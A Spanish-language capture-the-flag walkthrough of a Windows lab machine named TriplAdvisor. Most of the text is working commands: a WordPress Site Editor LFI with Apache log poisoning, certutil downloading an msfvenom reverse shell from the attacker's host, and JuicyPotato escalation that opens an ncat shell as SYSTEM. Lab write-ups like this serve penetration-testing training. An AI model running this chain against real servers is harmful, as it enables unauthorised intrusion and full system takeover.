Enumeración de WordPress
Tras enumerar puertos, asociamos tripladvisor con la IP víctima en /etc/hosts. WPScan analiza la instalación de WordPress expuesta en 8080 e identifica el plugin Site Editor 1.1:
❯ wpscan --url http://tripladvisor:8080/wordpress/
...
[+] editor
| Version: 1.1 (100% confidence)
...LFI y Apache Log Poisoning
Site Editor 1.1 permite controlar ajax_path y cargar una ruta local mediante LFI, vulnerabilidad identificada como CVE-2018-7422. La lectura por sí sola no ejecuta un archivo elegido por el atacante, así que la combinamos con Apache Log Poisoning: enviamos PHP dentro de User-Agent, Apache lo registra en access.log y la inclusión posterior obliga a PHP a interpretar esa línea. ipconfig /all confirma el encadenamiento:
❯ curl -A "<?php system('ipconfig /all');?>" http://tripladvisor:8080/wordpress/
❯ curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"
...
Host Name . . . . . . . . . . . . : TriplAdvisor
IPv4 Address. . . . . . . . . . . : 192.168.1.37(Preferred)
...Acceso inicial como websvc
Una vez demostrada la ejecución, generamos una reverse shell para Windows. Mediante otro User-Agent hacemos que el servidor ejecute certutil, descargue el binario en C:\windows\tasks\rev.exe y lo inicie desde el mismo punto de inclusión:
❯ msfvenom --payload windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9999 --format exe --encoder x64/xor_dynamic --out pwned64.exe
❯ curl -A "<?php system('certutil.exe -urlcache -split -f http://192.168.1.11:8000/pwned64.exe C:\windows\tasks\rev.exe');?>" http://tripladvisor:8080/wordpress/
❯ curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"
❯ ncat -nlvp 9999
Ncat: Connection from 192.168.1.37:49236.
Microsoft Windows [Version 6.1.7600]
C:\xampp\htdocs\wordpress\...\includes>La conexión recibida entrega una consola bajo la cuenta del servicio web y permite recuperar la primera flag. whoami /priv muestra que SeImpersonatePrivilege está habilitado:
C:\Users\websvc\Desktop>whoami /priv
...
SeImpersonatePrivilege Impersonate a client after authentication Enabled
...Windows Token Impersonation con JuicyPotato
La condición permite una Windows Token Impersonation mediante JuicyPotato. Primero identificamos Windows Server 2008 R2 para usar una lista de CLSID compatible; el resultado de las pruebas separa los objetos que conservan websvc de aquellos que activan un servicio como NT AUTHORITY\SYSTEM:
C:\Users\websvc\Desktop>type result.log
...
{659cdea7-489e-11d9-a9cd-000d56965251};NT AUTHORITY\SYSTEM
...Seleccionamos uno de los CLSID que devolvió SYSTEM y pedimos a JuicyPotato que cree cmd.exe con una conexión hacia nuestro listener:
C:\Users\websvc\Desktop>JuicyPotato.exe -l 1337 -c "{659cdea7-489e-11d9-a9cd-000d56965251}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\websvc\Downloads\ncat.exe 192.168.1.11 4444 -e cmd.exe" -t *
❯ ncat -nlvp 4444
Ncat: Connection from 192.168.1.37:49704.
Microsoft Windows [Version 6.1.7600]
C:\Windows\system32>La consola recibida se ejecuta desde C:\Windows\system32 bajo el token privilegiado obtenido por JuicyPotato. Recuperamos la flag final y completamos la máquina.